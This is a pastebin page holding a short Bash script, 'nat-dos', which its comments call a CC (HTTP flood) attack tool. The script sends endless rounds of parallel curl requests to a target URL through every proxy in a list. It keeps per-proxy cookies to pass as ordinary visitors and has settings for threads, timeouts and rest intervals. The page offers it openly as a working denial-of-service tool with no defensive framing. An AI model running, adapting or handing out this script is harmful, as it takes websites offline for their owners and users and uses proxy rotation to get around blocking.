nat-DoS

From NAT, 6 Years ago, written in Bash, viewed 823 times.
URL https://code.nat.moe/view/75474266 Embed
Download Paste or View Raw
  1. #!/bin/bash
  2. #
  3. # nat-dos: A simple CC attack tool using proxy written in BaSH, with proxy save/load support.
  4. #
  5. # .
  6. # ├── cookies/
  7. # ├── nat-ddos
  8. # └── proxylist.txt
  9. #
  10.  
  11. function getarg {
  12.         cat /dev/stdin | awk -F"--$1 " '{print $2}' | awk -F" " '{print $1}'
  13. }
  14.  
  15. function run {
  16.         while true
  17.         do
  18.                 echo -n "[$(date)] About to send DoS... "
  19.                 for i in $loopstr
  20.                 do
  21.                         [[ -z $(echo $i | attack $* 2> /dev/stdout) ]] && echo -n "[+$i] " || echo -n "[-$i] "
  22.                 done
  23.         [[ -z $nowait ]] && echo -e "\n[$(date)] Rest $rest second..." && sleep $rest || echo
  24.         [[ ! -z $killcurl ]] && killall -9 curl
  25.         done
  26. }
  27.  
  28. function attack {
  29.         for p in $(cat $list)
  30.         do
  31.                        
  32.         if [[ ! -z $read_cookie ]]
  33.                 then
  34.                         [[ ! -e cookies/$p ]] && cookiestr="-c cookies/$p" || cookiestr="-b cookies/$p"
  35.                 else
  36.                         [[ ! -z $cookie_load ]] && cookiestr="-b $cookie_load"
  37.         fi
  38.         http_proxy=$p curl $* --max-time $timeout $cookiestr >> /dev/null 2> /dev/null &
  39.         done
  40. }
  41.  
  42. function genloop {
  43.         i=1
  44.         thread=$(echo $thread+1 | bc)
  45.         while [[ $i != $thread ]]
  46.         do
  47.                 loopstr="$loopstr $i "
  48.                 i=$(echo $i+1 | bc)
  49.         done
  50.         echo $loopstr
  51. }
  52.  
  53. function usage {
  54.         echo "usage: nat-ddos --url <target> --proxys <proxy_list>"
  55.         echo "       [--nowait] [--rest n] [--killcurl] [--thread n]"
  56.         echo "       [--load-cookies cookie] [--read-cookies]"
  57.         echo "       [--proxy-timeout n]"
  58.         exit 1
  59. }
  60.  
  61. target=$(echo $* | getarg url)
  62. thread=$(echo $* | getarg thread)
  63. list=$(echo $* | getarg proxys)
  64. nowait=$(echo $* | grep nowait)
  65. rest=$(echo $* | getarg rest)
  66. killcurl=$(echo $* | grep killcurl)
  67. cookie_load=$(echo $* | getarg load-cookie)
  68. read_cookies=$(echo $* | grep read-cookies)
  69. timeout=$(echo $* | getarg proxy-timeout)
  70.  
  71. [[ -z $thread ]] && thread=5
  72. [[ -z $timeout ]] && timeout=15
  73. [[ -z $rest ]] && rest=5
  74. [[ -z $list || -z $target ]] && usage
  75.  
  76. loopstr=$(genloop)
  77. rm -fr cookies 2> /dev/null
  78.  
  79. echo "[$(date)] Attacking $target with $thread thread(s)"
  80. run $target

Replies to nat-DoS rss

Title Name Language When
Re: nat-DoS NAT bash 6 Years ago.

Reply to "nat-DoS"

Here you can reply to the paste above

captcha